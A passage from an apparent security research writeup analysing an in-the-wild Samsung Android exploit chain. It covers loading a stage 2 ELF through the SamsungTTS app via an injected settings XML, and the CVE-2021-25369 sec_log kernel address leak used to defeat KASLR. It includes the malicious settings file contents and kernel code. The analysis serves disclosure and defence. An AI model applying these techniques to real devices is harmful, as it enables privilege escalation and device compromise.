<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">long</span><span class="vdnyYxSRCi-c4"> row </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">this</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">database</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">insert</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">TABLE_NAME</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c18">""</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> values</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">row </span><span class="vdnyYxSRCi-c0">></span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c12">Uri</span><span class="vdnyYxSRCi-c4"> newUri </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c12">ContentUris</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">withAppendedId</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">CONTENT_URI</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> row</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> getContext</span><span class="vdnyYxSRCi-c0">().</span><span class="vdnyYxSRCi-c4">getContentResolver</span><span class="vdnyYxSRCi-c0">().</span><span class="vdnyYxSRCi-c4">notifyChange</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">newUri</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">null</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> newUri</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">throw</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">new</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c12">SQLException</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c18">"Fail to add a new record into "</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">+</span><span class="vdnyYxSRCi-c4"> uri</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p></td></tr></table><h2 class="vdnyYxSRCi-c17 vdnyYxSRCi-c8" id="h.qqt6xm6hc0pl"><span class="vdnyYxSRCi-c16">Executing the stage 2 ELF</span></h2>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The exploit has now written its stage 2 binary to the file system, but how do they load </span><span>it</span><span class="vdnyYxSRCi-c7"> outside of their current app sandbox? Using the Samsung Text to Speech application (SamsungTTS.apk).</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://galaxystore.samsung.com/detail/com.samsung.SMT?langCd=en">Samsung Text to Speech application (com.samsung.SMT)</a></span><span> is a pre-installed system app running on Samsung devices. It is also running as the system UID, though as a slightly less privileged SELinux context, </span><span class="vdnyYxSRCi-c2">system_app</span><span> rather than </span><span class="vdnyYxSRCi-c2">system_server</span><span>. There has been at least one previously public vulnerability where this app was used</span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://blog.flanker017.me/text-to-speech-speaks-pwned/"> to gain code execution as system</a></span><span class="vdnyYxSRCi-c7">. What’s different this time though is that the exploit doesn’t need another vulnerability; instead it reuses the stage 1 vulnerability in the clipboard to arbitrarily write files on the file system.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Older versions of the SamsungTTS application stored the file path for their engine in their Settings files. When a service in the application was started, it obtained the path from the Settings file and would load that file path as a native library using the </span><span class="vdnyYxSRCi-c24 vdnyYxSRCi-c46"><a class="vdnyYxSRCi-c61" href="https://developer.android.com/reference/java/lang/System#load(java.lang.String)">System.load</a></span><span class="vdnyYxSRCi-c7"> API. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The exploit takes advantage of this by using the stage 1 vulnerability to write its file path to the Settings file and then starting the service which will then load its stage 2 executable file as system UID and </span><span class="vdnyYxSRCi-c2">system_app</span><span class="vdnyYxSRCi-c7"> SELinux context.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>To do this, the exploit uses the stage 1 vulnerability to write the following contents to two different files: </span><span class="vdnyYxSRCi-c2">/data/user_de/0/com.samsung.SMT/shared_prefs/SamsungTTSSettings.xml</span><span> and </span><span class="vdnyYxSRCi-c2">/data/data/com.samsung.SMT/shared_prefs/SamsungTTSSettings.xml</span><span class="vdnyYxSRCi-c7">. Depending on the version of the phone and application, the SamsungTTS app uses these 2 different paths for its Settings files.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.1e9fc9b7503d012c58ac54bface058bfa0e1cf3d"></a><a id="t.4"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0"><?</span><span class="vdnyYxSRCi-c4">xml version</span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c18">'1.0'</span><span class="vdnyYxSRCi-c4"> encoding</span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c18">'utf-8'</span><span class="vdnyYxSRCi-c4"> standalone</span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c18">'yes'</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">?></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c25"><map></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c25"><string</span><span class="vdnyYxSRCi-c4"> name</span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4">\"eng-USA-Variant Info\"</span><span class="vdnyYxSRCi-c25">></span><span class="vdnyYxSRCi-c4">f00</span><span class="vdnyYxSRCi-c25"></string></span><span class="vdnyYxSRCi-c3">\n"</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c25"><string</span><span class="vdnyYxSRCi-c4"> name</span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4">\"SMT_STUBCHECK_STATUS\"</span><span class="vdnyYxSRCi-c25">></span><span class="vdnyYxSRCi-c4">STUB_SUCCESS</span><span class="vdnyYxSRCi-c25"></string></span><span class="vdnyYxSRCi-c3">\n"</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c25"><string</span><span class="vdnyYxSRCi-c4"> name</span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4">\"SMT_LATEST_INSTALLED_ENGINE_PATH\"</span><span class="vdnyYxSRCi-c25">></span><span class="vdnyYxSRCi-c4">/data/system/users/0/newFile.bin</span><span class="vdnyYxSRCi-c25"></string></span><span class="vdnyYxSRCi-c3">\n"</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c25"></map></span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The </span><span class="vdnyYxSRCi-c2">SMT_LATEST_INSTALLED_ENGINE_PATH</span><span> is the file path passed to </span><span class="vdnyYxSRCi-c2">System.load()</span><span>. To initiate the process of the system loading, the exploit stops and restarts the </span><span class="vdnyYxSRCi-c2">SamsungTTSService</span><span> by sending two intents to the application. The </span><span class="vdnyYxSRCi-c2">SamsungTTSService</span><span> then initiates the load and the stage 2 ELF begins executing as the system user in the </span><span class="vdnyYxSRCi-c2">system_app</span><span class="vdnyYxSRCi-c7"> SELinux context. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7">The exploit sample is from at least November 2020. As of November 2020, some devices had a version of the SamsungTTS app that did this arbitrary file loading while others did not. App versions 3.0.04.14 and before included the arbitrary loading capability. It seems like devices released on Android 10 (Q) were released with the updated version of the SamsungTTS app which did not load an ELF file based on the path in the settings file. For example, the A51 device that launched in late 2019 on Android 10 launched with version 3.0.08.18 of the SamsungTTS app, which does not include the functionality that would load the ELF.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Phones released on Android P and earlier seemed to have a version of the app pre-3.0.08.18 which does load the executable up through December 2020. For example, the SamsungTTS app from </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://www.sammobile.com/samsung/galaxy-a50/firmware/SM-A505F/XID/download/A505FDDS5BTJA/517463/">this A50 device</a></span><span class="vdnyYxSRCi-c7"> on the November 2020 security patch level was 3.0.03.22, which did load from the Settings file. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Once the ELF file is loaded via the </span><span class="vdnyYxSRCi-c2">System.load</span><span class="vdnyYxSRCi-c7"> api, it begins executing. It includes two additional exploits to gain kernel read and write privileges as the root user.</span></p><h1 class="vdnyYxSRCi-c28 vdnyYxSRCi-c8" id="h.4iueiufi5tqe"><span class="vdnyYxSRCi-c31">Vulnerability #2 - task_struct and sys_call_table address leak</span></h1>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Once the second stage ELF is running (and as system), the exploit then continues. The second vulnerability (CVE-2021-25369) used by the chain is an information leak to leak the address of the </span><span class="vdnyYxSRCi-c2">task_struct</span><span> and </span><span class="vdnyYxSRCi-c2">sy</span><span class="vdnyYxSRCi-c2">s_call_tab</span><span class="vdnyYxSRCi-c2">le</span><span>. The leaked </span><span class="vdnyYxSRCi-c2">sys_call_table</span><span> address is used to defeat KASLR. The </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> pointer, which is used later to gain arbitrary kernel read and write, is calculated from the leaked </span><span class="vdnyYxSRCi-c2">task_struct</span><span class="vdnyYxSRCi-c7"> address.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The vulnerability is in the access permissions of a custom Samsung logging file: </span><span class="vdnyYxSRCi-c2">/data/log/sec_log.log</span><span class="vdnyYxSRCi-c7">.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTUlyiPJg1awjnkx_0jTgZw-hLYtjWLrtD4kRaCW0J6sj9FGrAbEgC_nDgM36G5ctdm9r1iHukN2Wt7YivoW1znRECs_cNdoISTW_mzkF0Ylh48-zsoLsEzlWOJ8iLnSFejIzSYGG5t7lbfNMuNt3v-01FpJcWsYQmtT01kB3AQVV58nSgiCKmjqOa/s1103/image3.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTUlyiPJg1awjnkx_0jTgZw-hLYtjWLrtD4kRaCW0J6sj9FGrAbEgC_nDgM36G5ctdm9r1iHukN2Wt7YivoW1znRECs_cNdoISTW_mzkF0Ylh48-zsoLsEzlWOJ8iLnSFejIzSYGG5t7lbfNMuNt3v-01FpJcWsYQmtT01kB3AQVV58nSgiCKmjqOa/s1103/image3.png" border="0" alt="Screenshot of the CVE-2021-25369 entry from Samsung's March 2021 security update. It reads: &quot;SVE-2021-19897 (CVE-2021-25369): Potential kernel information exposure from sec_log Severity: Moderate Affected versions: O(8.x), P(9.0), Q(10.0) Reported on: December 10, 2020 Disclosure status: Privately disclosed. An improper access control vulnerability in sec_log file prior to SMR MAR-2021 Release 1 exposes sensitive kernel information to userspace. The patch removes vulnerable file." style="max-height: 750px; max-width: 600px;"title="Screenshot of the CVE-2021-25369 entry from Samsung's March 2021 security update. It reads: &quot;SVE-2021-19897 (CVE-2021-25369): Potential kernel information exposure from sec_log Severity: Moderate Affected versions: O(8.x), P(9.0), Q(10.0) Reported on: December 10, 2020 Disclosure status: Privately disclosed. An improper access control vulnerability in sec_log file prior to SMR MAR-2021 Release 1 exposes sensitive kernel information to userspace. The patch removes vulnerable file." /></a></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The exploit abused a </span><span class="vdnyYxSRCi-c2">WARN_ON</span><span> in order to leak the two kernel addresses and therefore break ASLR</span><span class="vdnyYxSRCi-c2">.</span><span> </span><span class="vdnyYxSRCi-c2">WARN_ON</span><span> is intended to only be used in situations where a kernel bug is detected because it prints a full backtrace, including stack trace and register values, to the kernel logging buffer, </span><span class="vdnyYxSRCi-c2">/dev/kmsg</span><span class="vdnyYxSRCi-c7">. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c2 vdnyYxSRCi-c33 vdnyYxSRCi-c44"></span></p><a id="t.dac6441018d72ea602c04b6dc61a0ad5d92c980f"></a><a id="t.5"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">oid __warn</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c5">const</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">char</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">file</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c4"> line</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">void</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c5">caller</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">unsigned</span><span class="vdnyYxSRCi-c4"> taint</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> pt_regs </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">regs</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> warn_args </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">args</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> disable_trace_on_warning</span><span class="vdnyYxSRCi-c0">();</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> pr_warn</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c18">"------------[ cut here ]------------\n"</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">file</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> pr_warn</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c18">"WARNING: CPU: %d PID: %d at %s:%d %pS\n"</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> raw_smp_processor_id</span><span class="vdnyYxSRCi-c0">(),</span><span class="vdnyYxSRCi-c4"> current</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">pid</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> file</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> line</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">caller</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">else</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> pr_warn</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c18">"WARNING: CPU: %d PID: %d at %pS\n"</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> raw_smp_processor_id</span><span class="vdnyYxSRCi-c0">(),</span><span class="vdnyYxSRCi-c4"> current</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">pid</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">caller</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">args</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> vprintk</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">args</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">fmt</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> args</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">args</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">panic_on_warn</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c20">/*</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * This thread may hit another WARN() in the panic path.</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * Resetting this prevents additional WARN() from panicking the</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * system on this thread. Other threads are blocked by the</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * panic_mutex in panic().</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> */</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> panic_on_warn </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> panic</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c18">"panic_on_warn set ...\n"</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> print_modules</span><span class="vdnyYxSRCi-c0">();</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> dump_stack</span><span class="vdnyYxSRCi-c0">();</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> print_oops_end_marker</span><span class="vdnyYxSRCi-c0">();</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c20">/* Just a warning, don't kill lockdep. */</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> add_taint</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">taint</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> LOCKDEP_STILL_OK</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c2 vdnyYxSRCi-c33 vdnyYxSRCi-c44"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>On Android, the ability to read from </span><span class="vdnyYxSRCi-c2">kmsg</span><span> is scoped to privileged users and contexts. </span><span>While </span><span class="vdnyYxSRCi-c2">kmsg</span><span> is readable by </span><span class="vdnyYxSRCi-c2">system_server</span><span>, it is not readable from the </span><span class="vdnyYxSRCi-c2">system_app</span><span> context, which means it’s not readable by the e</span><span>xploit.</span><span class="vdnyYxSRCi-c7"> </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.1187718de85bb2eac5503bd22ce0d6a9ea90e292"></a><a id="t.6"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">a51</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c18">/ $ ls -alZ /</span><span class="vdnyYxSRCi-c4">dev</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c3">kmsg</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">crw</span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">rw</span><span class="vdnyYxSRCi-c0">----</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">1</span><span class="vdnyYxSRCi-c4"> root system u</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">object_r</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">kmsg_device</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">s0 </span><span class="vdnyYxSRCi-c13">1</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">11</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">2022</span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c13">10</span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c13">27</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">21</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c13">48</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c4">dev</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c3">kmsg</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">$ sesearch </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">A </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">s system_server </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">t kmsg_device </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c3">p read precompiled_sepolicy</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow domain dev_type</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">lnk_file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr ioctl </span><span class="vdnyYxSRCi-c5">lock</span><span class="vdnyYxSRCi-c4"> map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow system_server kmsg_device</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">chr_file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> append getattr ioctl </span><span class="vdnyYxSRCi-c5">lock</span><span class="vdnyYxSRCi-c4"> map open read write </span><span class="vdnyYxSRCi-c0">};</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Samsung however has added a custom logging feature that copies </span><span class="vdnyYxSRCi-c2">kmsg</span><span> to the </span><span class="vdnyYxSRCi-c2">sec_log</span><span>. The </span><span class="vdnyYxSRCi-c2">sec_log</span><span> is a file found at </span><span class="vdnyYxSRCi-c2">/data/log/sec_log.log</span><span class="vdnyYxSRCi-c7">. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
